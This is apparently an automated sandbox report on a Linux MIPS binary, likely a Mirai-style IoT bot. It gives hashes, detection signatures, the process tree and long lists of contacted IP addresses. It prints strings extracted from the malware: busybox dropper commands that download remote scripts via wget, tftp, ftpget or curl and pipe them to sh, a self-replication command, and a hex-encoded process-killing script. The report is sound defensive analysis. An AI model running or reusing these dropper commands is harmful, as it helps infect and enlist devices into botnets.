Edit tour

Linux Analysis Report
nabmpsl.elf

Overview

General Information

Sample name:	nabmpsl.elf
Analysis ID:	1563410
MD5:	e80ee951498c0a16b446698291be44b7
SHA1:	b434abf4bdc00dacf68fea4d0fad53c010164c1b
SHA256:	405aff6c8d2ad06dc64cf80d38f24566d88a8a5a43396ed717c1972fd6c47814
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	52
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1563410
Start date and time:	2024-11-26 23:11:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	nabmpsl.elf
Detection:	MAL
Classification:	mal52.troj.linELF@0/96@1/0

Runtime Messages

Command:	/tmp/nabmpsl.elf
PID:	5424
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

nabmpsl.elf (PID: 5424, Parent: 5349, MD5: 0d6f61f82cf2f781c6eb0661071d42d9) Arguments: /tmp/nabmpsl.elf

nabmpsl.elf New Fork (PID: 5426, Parent: 5424)

nabmpsl.elf New Fork (PID: 5428, Parent: 5426)

nabmpsl.elf New Fork (PID: 5430, Parent: 5426)

nabmpsl.elf New Fork (PID: 5431, Parent: 5426)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: nabmpsl.elf

ReversingLabs: Detection: 31%

Source: nabmpsl.elf

String: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: unknown	TCP traffic detected without corresponding DNS query: 74.147.242.154
Source: unknown	TCP traffic detected without corresponding DNS query: 143.25.116.139
Source: unknown	TCP traffic detected without corresponding DNS query: 196.118.26.214
Source: unknown	TCP traffic detected without corresponding DNS query: 214.203.107.208
Source: unknown	TCP traffic detected without corresponding DNS query: 185.48.227.22
Source: unknown	TCP traffic detected without corresponding DNS query: 32.40.117.60
Source: unknown	TCP traffic detected without corresponding DNS query: 56.27.203.42
Source: unknown	TCP traffic detected without corresponding DNS query: 37.175.239.61
Source: unknown	TCP traffic detected without corresponding DNS query: 185.140.241.214
Source: unknown	TCP traffic detected without corresponding DNS query: 146.111.99.97
Source: unknown	TCP traffic detected without corresponding DNS query: 144.213.195.181
Source: unknown	TCP traffic detected without corresponding DNS query: 42.162.12.151
Source: unknown	TCP traffic detected without corresponding DNS query: 180.42.6.20
Source: unknown	TCP traffic detected without corresponding DNS query: 60.199.58.235
Source: unknown	TCP traffic detected without corresponding DNS query: 175.208.104.7
Source: unknown	TCP traffic detected without corresponding DNS query: 7.76.230.105
Source: unknown	TCP traffic detected without corresponding DNS query: 60.102.74.248
Source: unknown	TCP traffic detected without corresponding DNS query: 103.194.25.27
Source: unknown	TCP traffic detected without corresponding DNS query: 221.40.217.63
Source: unknown	TCP traffic detected without corresponding DNS query: 19.61.225.1
Source: unknown	TCP traffic detected without corresponding DNS query: 136.19.40.57
Source: unknown	TCP traffic detected without corresponding DNS query: 73.152.194.26
Source: unknown	TCP traffic detected without corresponding DNS query: 166.148.160.173
Source: unknown	TCP traffic detected without corresponding DNS query: 188.167.175.152
Source: unknown	TCP traffic detected without corresponding DNS query: 198.106.215.154
Source: unknown	TCP traffic detected without corresponding DNS query: 104.183.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 109.136.126.207
Source: unknown	TCP traffic detected without corresponding DNS query: 193.116.137.42
Source: unknown	TCP traffic detected without corresponding DNS query: 97.51.179.209
Source: unknown	TCP traffic detected without corresponding DNS query: 79.128.135.210
Source: unknown	TCP traffic detected without corresponding DNS query: 102.3.112.211
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.63.11
Source: unknown	TCP traffic detected without corresponding DNS query: 32.184.147.203
Source: unknown	TCP traffic detected without corresponding DNS query: 31.248.119.113
Source: unknown	TCP traffic detected without corresponding DNS query: 88.91.91.36
Source: unknown	TCP traffic detected without corresponding DNS query: 123.126.213.231
Source: unknown	TCP traffic detected without corresponding DNS query: 175.233.161.87
Source: unknown	TCP traffic detected without corresponding DNS query: 114.226.60.103
Source: unknown	TCP traffic detected without corresponding DNS query: 73.68.117.128
Source: unknown	TCP traffic detected without corresponding DNS query: 169.137.145.141
Source: unknown	TCP traffic detected without corresponding DNS query: 74.147.242.154
Source: unknown	TCP traffic detected without corresponding DNS query: 143.25.116.139
Source: unknown	TCP traffic detected without corresponding DNS query: 196.118.26.214
Source: unknown	TCP traffic detected without corresponding DNS query: 214.203.107.208
Source: unknown	TCP traffic detected without corresponding DNS query: 185.48.227.22
Source: unknown	TCP traffic detected without corresponding DNS query: 32.40.117.60
Source: unknown	TCP traffic detected without corresponding DNS query: 56.27.203.42
Source: unknown	TCP traffic detected without corresponding DNS query: 37.175.239.61
Source: unknown	TCP traffic detected without corresponding DNS query: 185.140.241.214
Source: unknown	TCP traffic detected without corresponding DNS query: 144.213.195.181

Source: nabmpsl.elf	String found in binary or memory: http:///curl.sh
Source: nabmpsl.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D

Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5460/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5460/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5460/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5460/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5450/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5450/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5461/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5461/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5461/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5461/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5451/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5451/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5462/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5462/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5462/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5462/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5452/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5452/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5463/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5463/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5463/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5463/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5453/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5453/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5464/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5464/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5464/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5464/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5454/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5454/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5465/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5465/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5465/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5465/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5455/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5455/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5466/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5466/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5466/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5466/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5519/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5519/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5456/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5456/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5467/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5467/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5467/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5467/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5457/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5457/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5457/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5457/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5468/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5468/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5468/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5468/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5458/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5458/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5458/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5458/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5459/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5459/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5459/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5430)	File opened: /proc/5459/cmdline	Jump to behavior

Source: nabmpsl.elf, 5424.1.000055af41da2000.000055af41e29000.rw-.sdmp, nabmpsl.elf, 5428.1.000055af41da2000.000055af41e29000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mipsel
Source: nabmpsl.elf, 5424.1.00007ffca022b000.00007ffca024c000.rw-.sdmp, nabmpsl.elf, 5428.1.00007ffca022b000.00007ffca024c000.rw-.sdmp	Binary or memory string: Hx86_64/usr/bin/qemu-mipsel/tmp/nabmpsl.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nabmpsl.elf
Source: nabmpsl.elf, 5424.1.000055af41da2000.000055af41e29000.rw-.sdmp, nabmpsl.elf, 5428.1.000055af41da2000.000055af41e29000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/mipsel
Source: nabmpsl.elf, 5424.1.00007ffca022b000.00007ffca024c000.rw-.sdmp, nabmpsl.elf, 5428.1.00007ffca022b000.00007ffca024c000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mipsel

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	nabmpsl.elf	false		high
http:///curl.sh	nabmpsl.elf	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
97.38.56.158	unknown	United States	6167	CELLCO-PARTUS	false
57.37.147.138	unknown	Belgium	2686	ATGS-MMD-ASUS	false
215.239.175.174	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
165.132.57.149	unknown	Korea Republic of	4665	YONSEI-AS-KRYonseiUniversityKR	false
206.118.112.68	unknown	United States	3134	USAID-ASNUS	false
19.144.223.45	unknown	United States	3	MIT-GATEWAYSUS	false
69.204.99.153	unknown	United States	11351	TWC-11351-NORTHEASTUS	false
193.239.1.14	unknown	Czech Republic	35096	ALEFNULACZ	false
68.39.240.80	unknown	United States	7922	COMCAST-7922US	false
195.145.227.63	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
206.253.115.61	unknown	United States	4565	MEGAPATH2-US	false
73.152.194.26	unknown	United States	7922	COMCAST-7922US	false
56.166.61.138	unknown	United States	2686	ATGS-MMD-ASUS	false
1.95.153.8	unknown	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
54.120.189.125	unknown	United States	16509	AMAZON-02US	false
86.101.198.139	unknown	Hungary	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
153.126.196.224	unknown	Japan	7684	SAKURA-ASAKURAInternetIncJP	false
111.222.234.50	unknown	China	17962	TOPWAY-NETShenZhenTopwayVideoCommunicationCoLtdCN	false
176.90.92.220	unknown	Turkey	16135	TURKCELL-ASTurkcellASTR	false
33.116.72.177	unknown	United States	2686	ATGS-MMD-ASUS	false
76.59.18.243	unknown	United States	18494	CENTURYLINK-LEGACY-EMBARQ-WRBGUS	false
150.224.88.20	unknown	United States	1479	DNIC-ASBLK-01478-01479US	false
74.35.155.47	unknown	United States	7011	FRONTIER-AND-CITIZENSUS	false
54.23.193.126	unknown	United States	14618	AMAZON-AESUS	false
101.204.90.185	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
137.195.55.174	unknown	United Kingdom	786	JANETJiscServicesLimitedGB	false
62.109.63.11	unknown	Sweden	12552	IPO-EUSE	false
33.134.168.56	unknown	United States	2686	ATGS-MMD-ASUS	false
7.76.230.105	unknown	United States	3356	LEVEL3US	false
139.4.225.199	unknown	Germany	702	UUNETUS	false
211.74.109.134	unknown	Taiwan; Republic of China (ROC)	4780	SEEDNETDigitalUnitedIncTW	false
137.240.19.230	unknown	United States	385	AFCONC-BLOCK1-ASUS	false
199.221.215.198	unknown	United States	3364	CSDCO-ASUS	false
132.190.146.129	unknown	United States	14398	AUTODESKUS	false
47.80.254.25	unknown	United States	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
163.114.146.167	unknown	France	54115	FACEBOOK-CORPUS	false
88.154.40.76	unknown	Ukraine	34058	LIFECELL-ASUA	false
200.59.241.202	unknown	Argentina	27751	NeunetSAAR	false
37.175.239.61	unknown	France	51207	FREEMFR	false
83.73.223.128	unknown	Denmark	9158	TELENOR_DANMARK_ASDK	false
78.208.224.24	unknown	France	12322	PROXADFR	false
118.56.245.231	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
93.23.207.251	unknown	France	15557	LDCOMNETFR	false
215.157.38.142	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
76.41.217.19	unknown	United States	18494	CENTURYLINK-LEGACY-EMBARQ-WRBGUS	false
84.186.119.120	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
52.159.28.57	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
49.154.136.27	unknown	China	9299	IPG-AS-APPhilippineLongDistanceTelephoneCompanyPH	false
157.16.208.31	unknown	Japan	24297	FCNUniversityPublicCorporationOsakaJP	false
2.113.61.39	unknown	Italy	3269	ASN-IBSNAZIT	false
100.147.94.200	unknown	United States	21928	T-MOBILE-AS21928US	false
209.3.35.204	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
205.196.105.0	unknown	United States	26977	BRG-SPORTS-AS26977US	false
8.95.29.23	unknown	United States	3356	LEVEL3US	false
60.252.64.77	unknown	China	17968	DQTNETDaqingzhongjipetroleumtelecommunicationconstructi	false
11.112.79.218	unknown	United States	27651	ENTELCHILESACL	false
216.117.101.134	unknown	United States	62	CONEUS	false
150.97.239.178	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
114.222.134.112	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
88.91.91.36	unknown	Norway	2119	TELENOR-NEXTELTelenorNorgeASNO	false
176.194.22.90	unknown	Russian Federation	12714	TI-ASMoscowRussiaRU	false
92.168.81.213	unknown	France	3215	FranceTelecom-OrangeFR	false
91.6.77.179	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
120.47.117.33	unknown	China	18118	CNNIC-CITICNET-CN-APCITICNetworksManagementCoLtdCN	false
174.59.197.248	unknown	United States	7922	COMCAST-7922US	false
104.164.183.99	unknown	United States	18779	EGIHOSTINGUS	false
140.153.83.6	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
177.204.84.201	unknown	Brazil	18881	TELEFONICABRASILSABR	false
129.61.89.115	unknown	United States	385	AFCONC-BLOCK1-ASUS	false
56.221.159.104	unknown	United States	2686	ATGS-MMD-ASUS	false
11.62.10.208	unknown	United States	3356	LEVEL3US	false
79.128.135.210	unknown	Greece	6799	OTENET-GRAthens-GreeceGR	false
11.151.244.8	unknown	United States	3356	LEVEL3US	false
102.2.5.122	unknown	unknown	36926	CKL1-ASNKE	false
103.127.141.115	unknown	India	135750	REL-ASRailtelEnterpriseLimitedIN	false
190.22.28.116	unknown	Chile	7418	TELEFONICACHILESACL	false
142.172.170.250	unknown	Canada	7122	MTS-ASNCA	false
140.71.136.10	unknown	United States	23700	FASTNET-AS-IDLinknet-FastnetASNID	false
217.66.169.142	unknown	Czech Republic	15935	HA-VEL-LOCAL-ASCzechrepublicCZ	false
202.222.61.170	unknown	Japan	18121	INCLIshikawaComputerCenterCoLTDJP	false
203.74.150.163	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
165.51.183.90	unknown	Tunisia	37492	ORANGE-TN	false
129.86.208.172	unknown	United States	26577	BAESYSTEMSUS	false
35.231.227.168	unknown	United States	15169	GOOGLEUS	false
90.94.152.195	unknown	France	12479	UNI2-ASES	false
28.46.22.214	unknown	United States	7922	COMCAST-7922US	false
212.135.136.88	unknown	United Kingdom	4589	EASYNETEasynetGlobalServicesEU	false
140.215.147.70	unknown	United States	688	RECNET-ASUS	false
189.159.1.206	unknown	Mexico	8151	UninetSAdeCVMX	false
129.232.63.56	unknown	Lesotho	33567	TELECOM-LESOTHOLS	false
5.28.163.193	unknown	Israel	12849	HOTNET-ILAMS-IXAdminLANIL	false
175.52.153.43	unknown	China	134810	CMNET-JILIN-AS-APChinaMobileGroupJiLincommunicationsco	false
89.2.237.13	unknown	France	21502	ASN-NUMERICABLEFR	false
97.51.179.209	unknown	United States	22394	CELLCOUS	false
81.123.211.35	unknown	Italy	20959	TELECOM-ITALIA-DATA-COMIT	false
157.98.7.230	unknown	United States	3527	NIH-NETUS	false
171.215.233.96	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
62.161.214.54	unknown	France	3215	FranceTelecom-OrangeFR	false
104.183.152.56	unknown	United States	7018	ATT-INTERNET4US	false
27.90.154.20	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
YONSEI-AS-KRYonseiUniversityKR	na.elf	Get hash	malicious	Mirai	Browse	61.43.205.246
	jew.arm7.elf	Get hash	malicious	Mirai	Browse	61.43.205.245
	YzP1CRQ7HF.elf	Get hash	malicious	Unknown	Browse	1.233.245.111
	y4YCgjlv0U.elf	Get hash	malicious	Mirai	Browse	1.233.245.120
	pSyrtz5Pls.elf	Get hash	malicious	Mirai	Browse	165.132.82.7
	23cu4ulxOg.elf	Get hash	malicious	Mirai	Browse	61.43.205.252
	huhu.arm7.elf	Get hash	malicious	Mirai, Okiru	Browse	61.43.205.252
	se2nev9bEC.elf	Get hash	malicious	Mirai	Browse	61.43.205.237
	https://fvkscllq.r.sa-east-1.awstrack.me/L0/https:%2F%2Faccess.yonsei.ac.kr%2Flink.n2s%3Furl=%2F%2Ftinyurl%252ecom%2F3fvrm9bn%3Fn7cds=anVsaWFuLnZhbHZlcmRlQGRhcmdyb3VwLmNvbQ==/1/010301884a076fc3-811ffb2c-ade6-4d62-afdf-5f75c5d48ceb-000000/xYVZbY8wl4e6ggCn7L6JsNY8oo4=108	Get hash	malicious	Unknown	Browse	165.132.14.104
	https://access.yonsei.ac.kr/link.n2s?url=//cnr.socimake.com/mine?365/YXNoYXJldHRAbWV0YWJhbmsuY29t	Get hash	malicious	Unknown	Browse	165.132.14.104
CELLCO-PARTUS	nklppc.elf	Get hash	malicious	Unknown	Browse	97.253.179.101
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	70.197.128.122
	fbot.m68k.elf	Get hash	malicious	Mirai, Moobot	Browse	97.157.240.235
	fbot.mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	70.198.172.107
	fbot.mips.elf	Get hash	malicious	Mirai, Moobot	Browse	97.237.43.221
	la.bot.arm7.elf	Get hash	malicious	Unknown	Browse	97.165.240.8
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	97.180.238.208
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	97.140.239.109
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	70.192.48.227
	loligang.mpsl.elf	Get hash	malicious	Mirai	Browse	98.104.156.10
DNIC-ASBLK-00721-00726US	arm7.elf	Get hash	malicious	Unknown	Browse	214.202.163.196
	nabarm7.elf	Get hash	malicious	Unknown	Browse	138.146.20.31
	arm5.elf	Get hash	malicious	Unknown	Browse	214.100.64.223
	la.bot.arm6.elf	Get hash	malicious	Unknown	Browse	215.186.194.94
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	215.119.30.161
	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	214.175.58.78
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	214.234.42.114
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	215.46.98.2
	la.bot.arm5.elf	Get hash	malicious	Mirai	Browse	215.225.119.254
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	214.212.68.246
ATGS-MMD-ASUS	nabsh4.elf	Get hash	malicious	Unknown	Browse	48.4.160.75
	m68k.elf	Get hash	malicious	Unknown	Browse	32.247.143.44
	nklppc.elf	Get hash	malicious	Unknown	Browse	34.57.83.199
	nklarm7.elf	Get hash	malicious	Unknown	Browse	33.29.13.79
	arm7.elf	Get hash	malicious	Unknown	Browse	34.27.89.245
	nabarm7.elf	Get hash	malicious	Unknown	Browse	57.150.25.186
	arm5.elf	Get hash	malicious	Unknown	Browse	57.254.19.29
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
